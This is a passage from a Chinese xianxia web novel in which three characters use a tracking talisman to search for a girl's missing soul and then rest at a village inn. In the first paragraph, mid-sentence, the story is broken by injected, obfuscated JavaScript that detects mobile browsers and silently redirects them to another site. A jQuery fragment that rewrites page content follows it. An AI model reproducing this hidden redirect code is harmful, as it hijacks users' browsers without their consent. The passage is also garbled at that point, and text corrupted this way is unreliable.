“嗯?”秦湘变脸之快,突然一下被点到名的长锦还有些没反应过来,愣愣地看向她,眨了眨眼睛,半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448554|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才像是回过神来她在说些什么,立马回道,“啊?嗯……是的。” 看着两人一唱一和,乔玉洲皱了皱眉头,半晌,叹了口气,终究还是妥协了,“好吧。” “好了,”见他神情恹恹,也知他是关心则乱。秦湘拍了拍他,“就别担心这个了,放宽心,已经这个点了,咱们还是来好好想想该怎么寻找黎双丢失的那一魂吧。” “怎么找?那梦寐和彼岸之城那么多鬼差找了这么久都没找到,”说起这个,乔玉洲又是觉得一个头两个大了,“咱们对那黎双又不熟,三个人又只有两天,这要从何找起?” “我有办法。”秦湘说着,随手捏了个诀,红色的光华自她掌心而起,待到光华散去,一张撰写着复杂符文的黄符便凭空出现在了她的手中。她将符咒提起来,在两人眼前晃了晃,“用这个。” 这黄符上的文字晦涩难懂,乔玉洲看了两眼,确认这是他没见过的东西,便道,“这是什么?” “循迹符。是符箓长老创造的,目前还没大肆运用,你没见过也是正常的。” 乔玉洲看着这东西,眼神中都是对它的怀疑和不信任,“用这个就可以找到黎双的踪迹?” “用它肯定还不行,这就得需要神君的帮忙了。”秦湘说着,抬眼看向长锦。闻言,长锦也很认真地看向她,温声道,“要我做什么?” “只要在这循迹符上记下我们要找的那个人的姓名和那个人的样貌,再用灵力催动,它就能带我们去找我们想要的这个人的踪迹了。” “这不是很简单?灵力催动而已,我们也可以啊。不过我们要找的是黎双的魂,不是黎双,你这循迹符不会到时候又直接把我们带回黎双家去吧?毕竟现在梦寐也就是黎双了。” “不不不,没这么简单,催动循迹符所需要的灵力极高,一般人催动不了,腾岳之巅中暂时也就只有创造了它的符箓长老,还有爹爹和师父能催动。咱们俩的灵力与资质暂时连其他长老都比不过,就更不要想着来催动它了。不过神君不是一般人,催动一张循迹符而已,不在话下。” 秦湘说完,又笑眯眯地将目光投向长锦,那眼神中的崇拜与骄傲更是掩都不带掩了,直将乔玉洲在一旁看得嘴角抽搐白眼都要翻上天了。 长锦看着她,轻笑一声,“那事不宜迟,我们现在就开始吧。” “好。”秦湘点了点头,将手中的符咒祭出,循迹符漂浮在半空中。她伸出手,指尖上凝聚着一抹泛着金色的灵力,手指微动,在空中写出“黎双”“人魂”几个字后随手将它一点,待到金色的字体慢慢融入符咒当中后,她又伸手凝出一轮幻境倒影,虚幻镜中,黎双的模样清晰可见。 看着那幻境倒影也慢慢地被半空中的循迹符所吸收,乔玉洲夸道,“秦湘你可以啊。” “小意思小意思,”秦湘摆摆手,笑道,“无非就是我上课认真罢了哈哈哈哈。” 一切准备工作就绪后,秦湘收回手,将位置让了出来,看向长锦,“好了,神君,现在就看你的了,将灵力注入这循迹符中就可以了。” “好。”长锦点点头,走上前去,掌心凝聚金色的光华,朝着那空中漂浮着的符咒一挥。 吸收了大量灵力的循迹符刹那间光华大盛,不过一会儿,那循迹符便在空中缓缓化为了一只透亮的金色蝴蝶。蝴蝶慢慢挥动着翅膀,忽高忽低地在空中打了两个转,半晌,才朝着一个方向慢慢飞了过去。 “走吧,跟上。”秦湘拉着长锦,迅速地就跟上了那只高高低低飞着的金色蝴蝶。 三人跟着循迹符在茶桐村中走了一天,将黎双生前经过的那些地方基本都转了个遍,可那金色蝴蝶却仍然没有停下的踪迹。转得次数一多了,众人只觉得越走就越像一直在这茶桐村中转圈圈似的。 夜幕很快降临,第一天眼看到了尾声,没有任何收获。虽然不甘心,但也只能作罢。三人收了循迹符,在村中寻了一个客栈歇脚。 村子不比镇上,客栈中的陈设定是不必众人之前住过的宽敞明亮,但好在干净,倒也凑合着能过一晚上。忙碌了一天了,还是得要先好好吃饭才能有力气干活。 三人围桌而坐,矮小陈旧的方桌上摆放着三碗热气腾腾的阳春面。这面是客栈老板自个儿揉出来的,爽滑劲道,汤汁醇厚,上头卧了个荷包蛋,点缀着翠绿的葱花,一眼望去,煞是好看。 “这也是俺们自己做的,下饭最不错了,客官们尝尝,免费的,不收钱。” 老板是个四十多来岁的中年男人,长得敦厚老实,和媳妇一起经营着这家小旅舍,村中生意平平淡淡,今晚三人的投宿,倒是让他们开了回张。